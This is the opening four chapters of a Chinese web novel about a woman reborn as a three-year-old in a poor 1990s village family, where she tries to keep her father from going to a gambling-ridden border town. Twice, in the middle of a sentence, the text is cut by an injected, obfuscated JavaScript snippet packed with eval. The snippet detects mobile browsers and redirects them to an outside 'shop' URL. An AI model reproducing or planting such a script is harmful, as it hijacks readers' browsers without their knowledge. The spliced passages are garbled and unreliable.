《重回九零小福星》 1. 第 1 章 “你听他的，你是想要我们娘仨死！” “秦泰山那是个什么人你不知道？” “你要不去找白孟海老婆打听打听，他们都在边城做什么？去了那种鬼地方，吃人不吐骨头的！我是南省嫁过来的，你以为我在开玩笑啊？” 女人坐在床边怀里抱着针和毛线，眼里含着泪，压低了声，几乎每一个字都在泣血。 男人沉默不语，兀自枕着胳臂双眼放空地望着头顶还未摘下的蚊帐。 门虚掩着，一个面黄肌瘦的小女孩抹了把鼻涕，呆滞地坐在门槛上。 “又用袖子擦鼻涕，怎么骂都不听呢？你也是蠢得出相。” 女人抽了纸在女孩脸上用力擦了把。 小女孩被迫身子后仰了一下，喊了声妈，想说什么，又怯怯地咽了回去。 床里头，一个沉睡中的小孩儿动了动胳臂、腿。 “看看幺儿是不是醒了？”女人抬了下脸，声音柔和了两分。 男人这才像是有了点活人气，缓慢转过脖子。 一床碎花被子压着肚子，将三岁的小宝宝压得像只被翻了面的小乌龟，她费了半天劲才爬起来，像是睡懵了，愣愣望着这一屋子人。 狭窄的土砖房，对着床就是一扇连接堂屋的破旧木门，床尾连着衣柜，来个胖一点的都得侧着身才能挤过去。 屋子正中摆了个小桌子，上面塑料盘子里装着花生瓜子干桂圆，还有半块月饼，两颗糖。 堂屋里传来热热闹闹的说话声，这处容纳了一家四口的小卧室却显得压抑而沉闷。 今天是中秋节，白家儿女都回来团聚了。白家老大白天强却借口断了腿赖在床上，老婆董如萍也没有出去待客的心思。 有人来敲门。 董如萍出声：“幺儿困就再睡会儿。” “你就不要一直堵在这里了嘛，没听到有人敲门了呀？” 董如萍面对大女儿白书玲，变脸如翻书。 将大女儿一把拉开，董如萍打开门，对上敲门的亲戚，换上了一副笑脸。 白天强也终于不再枯躺着，喊了声“冬雪”，捞过一旁的拐杖就起了身，在妹妹的问候中回应：“哎哟，让你们担心了，我没什么事。” 大人的对话声中。 白书佳的目光落在姐姐身上。 因为董如萍没有太收着劲儿，白书玲撞在了床沿上，诶了一声，自己摸了摸自己撞到的胳臂。 察觉到一股难以忽视的视线，她懵懂地扭头看向床里头的妹妹白书佳。 三岁的小孩儿，眼神却流露出与年龄不符的复杂情绪。 悲伤、庆幸、懊恼、悔恨……白书玲读不出这么多意味，只知道她被看得很难受，让她也忍不住跟着妹妹掉眼泪。 “不哭。” 她费劲地爬上床，将白书佳抱进怀里，学着妈妈哄妹妹的样子拍她的背。 “妹妹不哭，不哭。” 白书佳压抑地哭出一声：“呜。” 她紧紧攥住了姐姐的衣服。 她回来了，她真的重生回来了。 白书佳前世倒霉了一辈子。 母亲董如萍曾为她找大师算过命，说她福浅命薄，最好一辈子做善事才能抵消霉运。 白书佳身心都投入公益事业，大马路上捡到半瓶水都要找到失主，从人贩子手里抢小孩，见义勇为被捅两刀还不敢要赔偿，更不敢要政府奖励，誓死要当个活雷锋。 她以为她能平平安安过完这一辈子，结果去捡马路中间的小猫，还是被车子撞飞了。 回来看到前世被耽误一生早早没了的姐姐，她泪如汪洋，流不尽，只有庆幸庆幸，再庆幸。 回想她们家这一生。 母亲董如萍从南省山区远嫁到河省山区，生不出女儿便一直生，最后只留下白书玲和白书佳。 父亲白天强是个老实人，认命了只有两个女儿，硬逼着老太太不再催生。 好不容易把大女儿拉拔到该上学的年纪，老太太不肯出钱，说什么白书玲年龄还小，别人家八九岁上小学，白书玲才六岁多点。还说她脑瓜子笨，这么早上学也学不通浪费钱。 前段时间农忙，为了接家里那个被老太太娇惯的弟弟的担子，白天强摔下田坎，断了腿。 董如萍想要钱陪白天强去县医院拍个片子，老太太不肯，只让白天强去村卫生站看了看，随便包了下，领了个拐杖回来。 白天强说对自家娘有些寒心，董如萍气得和他大吵了一顿，说他今天才寒心。 她嫁过来没一个月就寒了心。 他们是先办酒，后领证。欺负她一个外地人，那个酒席办了和没办一样。 婚后她怀着孩子，什么苦活累活都要她做，洗衣做饭都算不得什么，挑谷子、挑水、喂猪、喂鸡，睁眼就等着她。 那段时间白天强也帮不上忙，地里忙着抢收，还要干村里集体挖渠的活，只叮嘱弟弟帮忙干，但老太太私下拉着不让，吃饭了还要嫌董如萍吃的多。 董如萍体恤丈夫辛苦，能干就干了，但至此以后也算认清了老太太的为人。 这次，董如萍说不是办法，要是白天强腿坏了，地里的活干不动了，以后这一家子就算是废了。她让白天强想法子，要么去县城找活，要么去更远的地方打工。 总要赚点在手里的钱。以后两个女儿还要上学。 前世，白天强想的办法就是跟着二妹夫秦泰山去边城，那里靠近M国边境，很多做玉石生意的大老板，他们可以踩黄包车挣钱。 那时候董如萍也和白天强吵，她自己对边城有一定的了解，也从隔壁堂兄弟的老婆那儿得知，那边还有数不清的大大小小的赌场，过去就完了。 但白天强被秦泰山的大手笔、隔壁堂兄弟的阔绰迷了眼，执意要去。 这一去就是两年，两年后，白天强回来，在董如萍以死相逼下，带着她和小女儿白书佳一起过去，独留下一个白书玲跟着奶奶。 等五年后他们再从边城回来，早已物是人非。 白天强虽然没有染上严重的赌瘾，但在那边也赌过不少次，能回来，实在是欠了一屁股债，还有老婆再次以死相逼。 再加上，白书佳上学了，她成绩很好，再在边城读书只会耽误了她。 至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817173|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于白书玲，因为跟着奶奶，再加上父母本就偏心小女儿，几乎没有得到过什么关爱，从此越长越歪，以至于后来董如萍反省后悔自己对大女儿实在过于忽略，已经来不及了。 董如萍是个没什么见识的女人，只上过两个月的学，基本不识字。 因为笨拙，她打小被父母嫌弃，到了自己的女儿，她也看不上年幼不开窍的大女儿。 而小女儿白书佳，早早就能说话，三岁和人聊天就头头是道，人人都夸聪明，以后肯定有出息，也因此，她将所有的希望都寄托在了小女儿身上。 白书佳从小背负父母重望，早期倒也算争气，初中上了县城最好的学校，但等升高中，就跟见了鬼似的，每次重要考试都失利，以至于模拟考明明能上重高，结果中考结束只上了县城排名第三的中学，再差一点，和读职高也没什么区别了。 白书佳的倒霉还不仅仅体现在学习上，她几乎三不五时就要出点小毛病，要么这丢了要么那丢了，关键考试前还要么感冒，要么被摩托车撞，要么摔跤。 董如萍迷信得很，在白书佳初中的时候找过大师算命，但并没在中考起什么作用，到了高中，有个大师说白书佳福薄命浅，要多做好事多积功德。白书佳照做了，才有点好转。 董如萍也因此成了十里八乡有名的老好人冤大头，原来手那么紧的一个人，后来竟然能被人骗得将银行卡里的存款都取完，骗子还追不回来，一问起她就迷迷糊糊，跟做梦似的，还说人家也不容易，钱就算了，她给女儿积点德。 白书佳的心气也在一次次倒霉中消散殆尽。 高考勉强算是考上了211，也算是村里头一个大学生。 但她变得沉默寡言，孤僻怪异，因为上了大学后，她发现她的霉运已经开始影响到周边的人。 她去找姐姐，姐姐来接她出车祸，她陪妈妈买东西，妈妈就丢钱丢手机，她去工地找爸爸，爸爸被工地的砖又砸到那条没好全的腿。 总之，每次她回去，家人都要因为她出一些小意外。 大学舍友也总是比班里其他人更多灾多难，要么是丢钱，要么是经常生病感冒，要么是摔跤车祸。 她都不敢和舍友们多说话，只能自己出去做兼职，租个地下室，每周默默做义工，只保证自己温饱，多余的钱，一半寄给父母，一半寄给山区。 她自己留不住钱，总是会因为各种各样的意外花费掉。 后来工作了，她的霉运也纠缠她不去，工作总是因为各种小意外导致做不长久，三四个月就要换一份，后来越来越难找工作，她甚至只能去福利院做义工，像大学一样找些兼职。 她小时候，也曾有一腔豪情壮志，渴望靠读书改变命运，像电视里那些光鲜亮丽的都市丽人一般过上精致富裕的美好生活，想要争一口气，想要让父母永远以她为荣。 可不挑担子不知重，不走长路不知远，命运总是要向现实低头。 母亲后来再也不强求，抱着瘦骨嶙峋的白书佳哭。 “算了算了，幺儿，咱们扎在黄连地里的人，哪有这个命。你这辈子能平平安安活到老，我就知足了。” 2. 第 2 章 车祸时，眼睁睁看着大车撞过来，白书佳跑不掉，却也不想跑了，她丧失了力气，也丧失了活下去的勇气。 那一刻，甚至有种解脱了的感觉，她带着一丝不能为父母颐养天年的愧疚闭上了眼。 她以为自己必死无疑，结果梦中，一个老道士拉着她絮絮叨叨。 “你第一世是个大富豪，只是为富不仁，但投胎三世已功德圆满，只是最后一世投胎时误撞了扫把星，到了这一世才受了点罪。” 白书佳心说，她这算是“点”罪吗？ 老道士说他是受阴司委托，带三官大帝的赐福，来助她重新转世。 她可以选一个新的世界重新投胎，这次必定福禄双全，长命百岁。 白书佳下意识问：“那我家人呢？” 老道士：“他们自有他们的命数。” “什么命数？” 老道士倒也没卖关子：“没了扫把星的影响，他们自然是平平常常过完一生。” 白书佳：“那我要是转世回到他们身边，会给他们带来福运吗，他们这辈子会再出意外吗？” 老道士算了算：“这倒不会，他们虽无自强之命，却也有享福之德。” 白书佳放心了：“那我要回去，重新做他们的女儿。” 老道士：“你想好了，要是你重新投胎，生来就是大富大贵之命。” “想好了。” “看来你还有前世执念，也罢，作为补偿，你可任选重生的时间，此后一生，福运满满，无祸无灾，身边人也会因为你的影响，从此逢凶化吉，福寿绵绵。” 再一睁眼，白书佳回到了她三岁半的时候。 她选择这个时间点，是有考量的，父亲有些愚孝，记吃不记打，还是因为这次断腿，后来一直没好全，才对弟弟和奶奶心怀芥蒂，不然可能一辈子守着家里这几亩地，养着游手好闲的弟弟和刻薄偏心的母亲。 只有父亲吸取教训，他才会穷则思变。 但接下来，还有一个影响白家人一生的重大转折事件，就是父亲去边城这件事。 白书佳必须阻止一旦下定决心就和犟牛无异的父亲。 抱着姐姐哭了一阵，白书佳收拾好了心情，拉着姐姐去见家里的亲戚。 白家现在当家的是姚春姚老太，她一生生了五个孩子，白天强最大，中间三个女儿，最小的也是一个儿子，名叫白天阳。 一般家庭都难免偏向小的，姚老太一心想多养几个儿子，好不容易追到这个小儿子，从小又听话懂事，比老大机灵，她自然是疼到了心坎里。 这个家最不受宠的，莫过于白天强这个老黄牛一样的老大，还有脾气暴躁，一边干活一边骂人，最不惯着她娘和弟弟的大女儿白冬雪。 白冬雪比白天强就小一岁，今年正好30，嫁在县城，丈夫刘明有门修车的技术，日子过得倒还算宽裕。 一家人吃过午饭，围坐在桌边，秦泰山嚷嚷着要打字牌消遣，白冬雪就在一旁嗑瓜子，对隔壁来拜访的白孟海老婆说：“充什么大款呢，那钱还不知道怎么来的呢。” 白孟海老婆张梦想到自己男人，每年也是回来充大款，给她的却是指头缝里挤出几个子儿，只能不尴不尬地笑笑。 董如萍也是很不屑，说：“你看老三那个样。” 她说的老三就是秦泰山的媳妇儿，白家二女儿白春华。 她正无限柔情地依着自家男人，还帮着招呼：“来玩啊，这都是小牌，打一圈要得了几个钱。” 但没人动，都说秦泰山赚了钱当然不怕输了，况且他在外面大的玩多了，肯定厉害得很，大家可不敢惹他。 直到有人撺掇：“除非他输牌注子翻个番。” 白春华有些不愿意，又有奉承她。 “你都是大老板老婆了，还这么小气，更何况你男人打牌肯定厉害，你怕什么。” 被甜蜜话晕了头，白春华还真松了劲儿，答应下来。倒是秦泰山脸上有些不好看，但款都充上了，也不好说什么。 这下，手痒的男人都纷纷过去坐下。 董如萍瞪眼道：“白天强，你要是敢打，晚上就去睡猪圈。” 董如萍在人前从不知给丈夫留面子。 一群人笑成一团。 白天强脸色不好看，偏要和董如萍犟，坐下来：“我就随便打两圈。” 其实一圈人里，就他是最没牌瘾的，不然去了边城以后，他很难被董如萍逼着收手，像白孟海和他老婆，最后就闹了个不得善终。秦泰山下场也不怎么样。 白书佳拉着姐姐混在人群里，俩人和一群亲戚家的小孩子玩家家酒，白书佳玩得心不在焉。 等白天强开始抓牌了，她凑了过去。 白天强：“幺儿来凑什么热闹，去找你妈去。” 他顺手剥了个干桂圆喂进白书佳嘴里，还让白书玲过来：“带妹妹去别的地方玩。” 白书佳却赖在他怀里不走，也剥了花生喂给她爸，还甜甜地撒娇：“爸爸，我帮你抓牌吧。” 白天强：“你晓得抓什么牌。” 但前面各人轮过一圈，白书佳眼疾手快就给白天强抓到一张。 白天强还想让她别凑热闹，等抓过两张牌，他身后看牌的隔壁三房堂兄弟就嚯了一声。 还没说话呢，白书佳扭头比了个食指：“嘘，观牌不语。” “哎哟，这丫头机灵的，还知道观牌不语呢，哪儿学来的话呀。” 围观的亲戚都不免唏嘘，夸了一圈白书佳聪明。 白天强脸上难免浮起骄傲的神色，将女儿往身前又搂了搂，说：“肯定是那天看我和他三爷爷下象棋学的呗。” 白书佳附和：“三爷爷孙子话好多的，还捣乱，三爷爷就说他要观棋不语。” “啧啧，瞧瞧。” 顿时又是一圈赞扬之词砸下来。 白书佳心里听得波澜不惊，前世她上初中小学的时候，这些话都听得耳朵起茧子了，也不影响他们后来骂她扫把星，避她如蛇蝎，甚至还有说她这个女儿白养了的，劝她爹娘放弃，留着钱给侄子帮忙养老。 幸好她爹娘没有觉得她这个女儿是白养的。 白天强虽然不比董如萍是个感情丰沛之人，但爱意都藏在日复一日辛苦的劳作和沉默的打钱中。 “哎哟，不好意思，这就胡了。” 众人刚抓完牌，才打出第一圈，白天强接过上家打来的红“柒”。 “红胡，还是地胡。” “你这手牌抓得这么好。” 一圈人都抻长了脖子来看，只见白天强手里的牌全是红的，那个红“柒”正打到他心坎上去了。 坐在他上家的秦泰山笑了笑：“不错嘛。” 白天强哪里看得出秦泰山笑容勉强，伸手：“来来来，莫耍赖。” 其他人都给的积极，地胡是高胡，一人两块，秦泰山扔了四块。 到了第二把，更是夸张，这次白书佳全程帮白天强抓牌，直接一把天胡。 第三把，白书佳只帮着抓了两次，没打两圈，白天强再次胡牌。 “小丫头手气这么好。” 白春华语气里难免有些酸溜溜。 第四把，白书佳不帮抓了，这次终于轮到秦泰山赢了一把。 后来白书佳就只是坐在白天强身边看着，和姐姐分她从别的小朋友那儿得来的辣片、瓜子，打到下午六点多，董如萍喊吃饭了，这牌桌才歇。 白书佳拉着姐姐去洗手，董如萍凑过来。 “我看你二姑爷那脸都黑了，拉得跟驴似的，是不是输惨了？” 白书佳笑眯眯道：“还行吧。” 董如萍瞪她一眼：“你小小年纪，还跟你妈打马虎眼。” 白书佳装傻嘿嘿笑，等董如萍将擦手的毛巾递过来，却是揪过来先给了姐姐：“擦手姐姐。” 董如萍有些意外，想说什么，但见白书玲接了帕子却是主动给妹妹擦，又闭上了嘴。 晚饭后，秦泰山终于不喊着打牌了，倒是白天强意犹未尽。 大家好一圈恭维他，好奇他今天下午手气怎么这么好，莫不是拜了哪路福星了。 白春华笑道：“还能是哪路福星，肯定是书佳那丫头呀。书佳过来，也让二姑沾沾你的福气。” 白书佳脚都不带动，她现在还记得董如萍带着她去找秦泰山催账，白春华抱着她掐她屁股的揪痛。 她直白道：“我的福气只有我家里人可以沾。” “你这孩子，我不是你家里人啊，不是你亲戚？”白春华笑得勉强。 白书佳：“我家只有一家四口，你要当我爸妈的孩子吗？” 她睁着天真无辜的大眼反问。 白冬雪率先笑了出来，众亲朋也当个乐子笑。 “这丫头以后不得了。” 白春华只能讪讪结语。 入夜，一家人回到自己 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不过她并不精于计算，记性也不太好，没有记住白天强到底赢了几把，只知道赢的不少，有好几把大胡。 “你们玩的大，今天肯定赢了不少吧？” 姚老太踅摸到床边，扶着床沿，坐在小板凳上，道：“过两天杨柳村你们三太婆过寿，我还得去行人情，你们要不要看着出点？” 董如萍知道她是来要钱的，早有准备，听到这话还是炸了：“你儿子腿断了要去县上拍片你出钱了吗，你孙女要上学你出钱了吗，哪来的老太婆要过寿，要行人情，怎么不让她死了算了？一把年纪了打个棺材埋了不省事？” “你这说的什么话，你看看她说的什么话？没读过书的人说话就是这么恶毒。” 姚老太气得站了起来：“你别以为我听不出来，你这是拐着弯的咒我呢。” “她这是咒我呢。” “咒我死呢。天强啊，你可听着了？” “你老婆嫌我老太婆在这个家里占位置呢。” “今天可是中秋节啊，她这么咒我这个长辈！她也不怕不得好死！” 听到屋里姚老太越来越大的动静，堂屋的那些亲戚不得不起身跑过来。 当女儿的自然要安慰当娘的，还有不满瞪视董如萍的，当姑爷的也要说两句，只有白冬雪没好气道：“哭什么呢，有什么好哭的，中秋节呢，给人看热闹呢。” 姚老太：“那是，我不哭，不哭，到时候行人情的钱你出。” 白冬雪：“让你小儿子出，他都十九了，不娶老婆，不干活，还是初中毕业的，多少有点文化，还在家吃了这么久现成的，割了身上两坨肉也能卖个七八块吧。” 姚老太差点气晕。 “大姐，你们吵架说我干什么。” 白天阳听得不快。 董如萍这时才哭道：“妈，我真没钱啊，之前给天强看腿，卫生站的钱还是你一半我一半，今天天强是赢了点钱，但晚上我马上就还大姐钱了呀，现在身上一分都没了。” 她说着掏自己两个口袋，又掏白天强两个口袋，还撩开床上的被子，露出两个考拉似的抱在一起睁着眼睛看热闹的闺女。 白冬雪附和：“要不就把那两小的卖了，给你凑人情钱，反正你也不怕在村里落个刻薄的名声。” 姚老太终于讪讪不说话了。 “行了行了。”白天阳扶着他娘出门，“赶紧睡吧，大过节的。” 等一群人离开，董如萍下床拉上门，好一会儿，听着外面没什么动静了，她才钻进被窝里，压低了声。 “幺儿，幺儿，钱你藏哪儿了？” 在姚老太进门的瞬间，董如萍将钱塞进了被窝里，她们吵架的时候，董如萍被一只小手拉着进被窝，却摸了个空，但她意识到这是女儿在提醒她，钱已经藏好了。 她这才掀被子给大家看，她身上没钱。 “在姐姐那边。” 白书佳被董如萍挠到了痒痒肉，在母亲怀里笑得翻了个身，看到白书玲眼里不自觉流露出的羡慕，她嘴角又微微收了一点。 “姐姐，快把钱拿出来。” 董如萍也望了过来，眼里的笑意还未消，白书玲微愣，被白书佳推了下，才连忙翻开自己的衣服。 钱都藏在她衣服底下，一百零八块五毛，一毛不少。 3. 第 3 章 董如萍彻夜难眠，拉着白天强说话。 “你可不能因为今天赢了钱就更想去那鬼地方了。” 白天强仰面躺在床上，探手给白书佳拉了拉被子，说：“怎么把蚊帐摘了，这天也没太冷，就晚上凉快些，怕是还有蚊子，别咬了幺儿。她前天被个蚊子咬了还让我给她挠半天。” 董如萍用力捶他一拳：“你别当听不到。冬雪说给我在县城找了份工，她男人的同胞妹妹在县城开点心铺子，那附近又有学校又有糖厂，生意好得很，忙不过来，想请个人帮忙。她姑子夫家那边的亲戚手脚又不麻利又不干净，她就说了我，让我去，一个月五十块钱，包吃包住。” 白天强：“那挺好的，你去嘛。” “我去了你就不能去边城了听到了吗，你要是去边城，家里这两个小的怎么办？留给你娘带，你娘能带出个什么名堂来？” 白天强：“那你去县城又不是不能回来，好好好，哎哟，再说嘛，你不困……” 白书佳是听困了。 她年纪还小，本想多听一会儿，看他们到底怎么说，结果没挨住，只隐隐约约听到白天强又糊弄了两句，上下眼皮就黏到了一起。 白书玲在旁边比她睡得还快，双手抱着自己，挨着墙皮就打起了小呼噜。 早上醒来，偌大一张木床就剩下白书佳一个，她叉着腿，扭着身子，被身上两床被子重重压着，脑袋都埋了进去，差点没喘过气来。 堂屋里已经传来亲戚起床的动静，房门突然被人拉开，秦泰山的脑袋探进来。 “没人？” 白书佳从被子里拱出来：“有人。” “噢哟，书佳呀，”他笑眯眯地凑过来，把白书佳从被子里薅出来，“盖这么厚，压死了都。” “谢谢二姑爷，”白书佳知道他是来干什么的，明知故问，“二姑爷怎么过来了。” “怪有礼貌的，不客气。”他回得中气十足，打量一圈屋里，说，“瞧你这屋小的，你们一家都睡一张床上啊？” 又问：“你爹呢？” “不知道啊，我才起。” 正说着，床尾另一扇大门打开，白天强手里拎着斧子：“书佳……泰山？” 秦泰山也没过去，一屁股坐在白书佳床边的外套上，道：“大哥，你要是愿意跟我去边城，要马上买火车票了啊，我已经买了票了，明天下午就走，你要是不赶着点可等不了你。” 白天强“嗯”了一声，面露为难：“你嫂子不乐意我去，我这还不知道呢……” “你看你，你一个大男人，一家顶梁柱，怎么还什么都听老婆的，”秦泰山有些不耐地打断了白天强，“嫂子又没读什么书。你要不要去，自己还没点想法？” 白书佳努力将被子叠好，又用力揪自己衣服：“二姑父你坐我衣服上了。” 等揪了衣服一屁股坐在床板上，白书佳又忙说：“我爸爸不去。” “你插什么嘴。” 秦泰山在她脑袋上用力按了一下，留下一句“就这么说”，转身出了门。 等白书佳撅着屁股下床，找到被秦泰山踢远的鞋子，白天强已经合上门，看着是去砍柴去了。 院子里传来声音，是董如萍问白天强是不是书佳醒了。接着又是喊白书玲的声音。 “去看看你妹妹起来没，把她抱下来，把被子叠好。” 白书佳刚到门口，就被姐姐用力推开的门扇到了地上。 “哎哟，你不小心看着一点。” 董如萍一边往灶里添柴，一边剥鸡蛋，一边还要训斥白书玲。 “妈妈我没事。”白书佳立马撑着地爬了起来，生怕董如萍还要再骂两句。 白书玲缩了缩脖子，拉起白书佳，给她拍了拍灰，进屋看到被子已经叠好了，只是有点歪歪扭扭。 她愣了一下，扭过头，就见白书佳趴在门槛上要出门。 她刚要过去抱妹妹，董如萍已经三步并作两步，将白书佳抱了出去。 “今天怎么起这么早啊幺儿。” 董如萍一边问，一边揉白书佳屁股墩：“摔疼了没？” 白书佳屁股是疼的，还让她硬挤出了两滴眼泪。 董如萍脸色刚一变，就听小女儿哇哇哭起来：“妈妈，我做噩梦了。” 白书佳一边哭，一边朝灶旁的白天强瞥。 白家这片院子搭了个棚子，旁边就是并排两间土砖房，一间厨房，一间柴房。 平时是在小厨房做饭，但今天家里来了客人，就在院子里的大土灶这儿开火。 白天强正坐在板凳上砍柴，听到哭声也抬起了头。 白书佳这下嗓门更大了，说：“我梦到爸爸的腿一直没好，后来车祸还断了。” 董如萍没当回事：“都是假的。” 白天强也道：“是假的幺儿。” 董如萍抱着白书佳坐到灶旁，道：“肯定是被你那天摔那一跤吓到了，出那么多血，还是被人抬回来的。” 白书佳补充：“我还梦到二姑爷了。” “怎么梦到秦泰山了，”董如萍这下表情有些不对了，扭头看女儿，“跟你爹车祸有啥关系？” 白书佳：“我梦到他叫爸爸去打牌，结果打完牌回来一辆小汽车撞到了爸爸。” “你还知道小汽车？”白书佳自出生就没出过远门，最多村里看见过三轮车、拖拉机，董如萍听得匪夷所思。 她多少是有些迷信的，觉得不对，连忙问白书佳：“还梦到啥了？” 白书佳：“还梦到那个打牌的地方，特别漂亮，到处都是灯，还有他们的牌和咱们的牌不一样，是圆圆的，还有方的，我还听到二姑爷让爸爸押大。” 董如萍猛地扭头看向白天强，白天强脸色也变了。 “只是做梦，怕是在哪儿听过的……” 白天强还想给女儿这个离奇的梦找个理由。 “你放屁，她上哪儿听去？谁会告诉她那牌是圆的还是方的，大的还是小的。”董如萍没好气地打断了他。 白天强不再说话。 白书佳决定再给父母加一把火，道：“我还做梦了。” 董如萍看女儿哭得满脸是泪，心疼坏了，擦干她的眼泪，道：“别怕啊幺儿，都是梦而已，醒来就没事了。” “我梦到二姑和二姑爷吵架，说是要去什么地方，二姑爷不同意，二姑就拿了一把菜刀飞出去了，差点伤到了三姑。” 董如萍听了反而放心了：“那这不关咱们事，别想那么多了幺儿，来，吃个鸡蛋，早上刚煮的。” 白家一家子每次回来，除了大姐，没一个来搭把手的，董如萍一早就起来为他们煮红枣桂圆鸡蛋做早餐，带着白书玲剥一早上了。 白书佳不吃，下来和董如萍、姐姐一起剥。 等早餐煮得差不多，秦泰山夹着包从堂屋踏出来：“我先走了大哥嫂子。” “这么早就走啊，吃了早餐再走啊。”董如萍正端着碗给大家一碗碗打，闻言顿住手。 秦泰山摆摆手：“忙呢，还得去我一个兄弟那儿。” 秦泰山说完拐进了巷子里。 董如萍垂首抄起瓢低骂了一声：“要走不早说，多煮三个鸡蛋。” 她话音刚落，一声怒喝从堂屋传来。 “秦泰山！” “秦泰山，你敢走？” “秦泰山你还没跟我说清楚呢，你到底带不带我一起去？” 二姑白春华披头散发从堂屋里跑了出来，一把揪住了秦泰山。 “你不能走，你今天必须答应，不答应也得答应。” “哎呀，我说了嘛，你一个娘们去干嘛呢，你去了又不能踩黄包车，天天在那吃现成的啊。” 白家三房的亲戚出来看热闹，闻言笑嘻嘻插嘴。 “老秦你都发财了，让老婆过去吃现成的又怎么了。” “就是啊。” 有人瓜子都端出来了，靠着墙一边磕一边看热闹。 白书佳也和姐姐一块看热闹。 这一幕上一世就发生过，可能因为动刀了，她隐约有点印象。后来董如萍还拿出来当笑话说给白书佳听过。 秦泰山被人说得没脸，扣着老婆的肩压低了声哄，但白春华哪里是那么好说话的，扬声道：“你还知道怕丢脸，你敢说你今天是去哪儿的吗，啊，你哪来的我不认识的兄弟，别不是去你哪个姘头那儿？” “你说什么呢？” 秦泰山也怒了，指着白春华鼻子：“给我闭嘴啊你，少在这胡说八道污蔑我。” 白春华却一点也不怕，问他：“我就问你，你带不带我去？” 秦泰山也犟起来了：“不带，说了不带就是不带。” “好啊，”白春华气得不行了，红着眼左右扭头看了看，突然一个箭步冲到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817175|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棚下，夺过插在灶上的菜刀又冲了回去，“你个畜生，你当我不知道你在外面做了什么好事是吧，说什么明天不回了，直接和兄弟一起走，还要在兄弟那过夜是吧？我看你就是去找你那个姘头了，我今天割了你二两肉，看你还……” 俩人就在巷子里扭打起来，一个拿刀乱挥，一个捡了根杆子要挡，白春华一个不小心，那刀就飞了出去。 本来大家都在看戏，自抢了刀董如萍就站直了身体，白天强还想上去拉架，被董如萍一把拉住。 眼见刀飞了，看到巷子后面有人，白天强魂也要被吓飞：“小心！” 来人倒是眼疾手快，连忙举起篮子挡了一下，那刀便被打在了地上。 “啪”地一声。 董如萍心疼地哎哟一声：“别钝了。” 但等看清来人是谁，她眼睛都瞪大了。 白天强也看看那边走过来的三妹，又看看白书佳。 白天强三妹白夏荷每年重要的年节都要替姚老太去一趟娘家，没看明白家里发生了什么，走过来问了句董如萍：“嫂子，怎么了这是？” 她边说边从篮子里取出两颗糖塞给白书玲：“和妹妹吃。” 董如萍因为大女儿上学的事和白夏荷有些龃龉，九月开学，姚老太不肯拿钱，就是她在旁边说了句“书玲又不开窍上那么早学干什么”，本来董如萍还想着能不能借她的关系送白书玲去镇小上学。 白夏荷就在镇小当一年级的语文老师。 董如萍自己没读过几天书，其实不但是她笨拙，也全因头顶还有三个哥哥，仅是送他们上学，家里的钱就花光了。当初老师还跟她说，虽然不开窍，但早点上学也好，学着学着就开窍了。结果一个学期的课都没上完，她爹娘就叫她回家打猪草。 她想着白书玲确实不开窍，但就像老师说的那样，早学早开窍嘛。而且村小也不会教，万一遇上会教的呢。所以她动了送书玲去镇小的想法。 因为白夏荷那句风凉话，董如萍只能暂时歇了心思，还有些记恨她。 本来有些不想理白夏荷，但看那糖像是个新鲜玩意儿，应该不便宜，董如萍便敷衍了一句：“都闹着要去边城呢。” “那二姐和她小叔子承包鱼塘的活儿不干了？” “要去边城吃现成的呢。”董如萍又弯下腰拿起碗，继续给大家盛早餐。 这场闹剧终究还是以秦泰山妥协结束了。 亲朋一走，家里就清静很多，就是留下的摊子还得董如萍收拾，白天强瘸着腿拄着拐杖也得忙上忙下。 白书玲也有她的任务，就是照顾妹妹。 有小朋友来喊，白书佳本来想偷偷溜出去和朋友玩一会儿，反正妹妹也听话，自己个儿能安静待好久，可她想起早上，她把妹妹推倒，妹妹没哭，妹妹好像还自己叠了被子，给她省了事儿，她好像不好扔下妹妹自己去玩。 她在那踌躇半天不知道在琢磨什么，外面的小朋友都等烦了，还是白书佳问：“姐姐，我们能一起去玩吗？” 壳子里是近三十岁的芯儿，白书佳对小朋友的家家酒其实没什么兴趣。 “我要当新娘！” “那我当新郎！”白书佳热烈举手。 “不行，你不能当新郎，你是女的。” “妹妹还小，妹妹当女儿。” “刚结婚哪有女儿？” “谁说没女儿了，柳虾子家女儿结婚就带了个女儿呢。” “那不算数！” “那怎么不算数了，那不是她女儿吗？” 眼见几个用袖子擦鼻涕的小伙伴你一句我一句越说越远，白书佳连忙打断。 “那我当洒喜糖的，你当新郎，你当新娘，就这么定了。” 这一天算是玩热闹了，回去的时候，白书佳还从白书玲一个玩得最好的小伙伴那儿得了一颗西瓜泡泡糖。 晚上白书玲还把她攒的一颗糖给白书佳：“妹妹吃。” “又吃糖，你今天吃几颗了？” 见包装没拆，董如萍将糖收缴了，从柜子里掏出一个包。 “是不是得给你收拾几件衣服？” 白天强用凳子放着一条腿，在泡另一条腿，闻言还没来得及回答，就被白书佳一把抱住了。 “爸爸还要去边城吗，爸爸不许去，边城不好，不要去，不要去。” 白书佳急得哇地一声哭了出来。 4. 第 4 章 “不是去边城。” 白天强没想到女儿会吓成这样，哭得浑身打颤。他将孩子紧紧抱住了，连声哄。 他想到今天发生的事，其实也有点心有余悸。 女儿的梦，关于二妹二妹夫那部分都成了真，那他去边城出车祸的事是不是也会成真呢？ 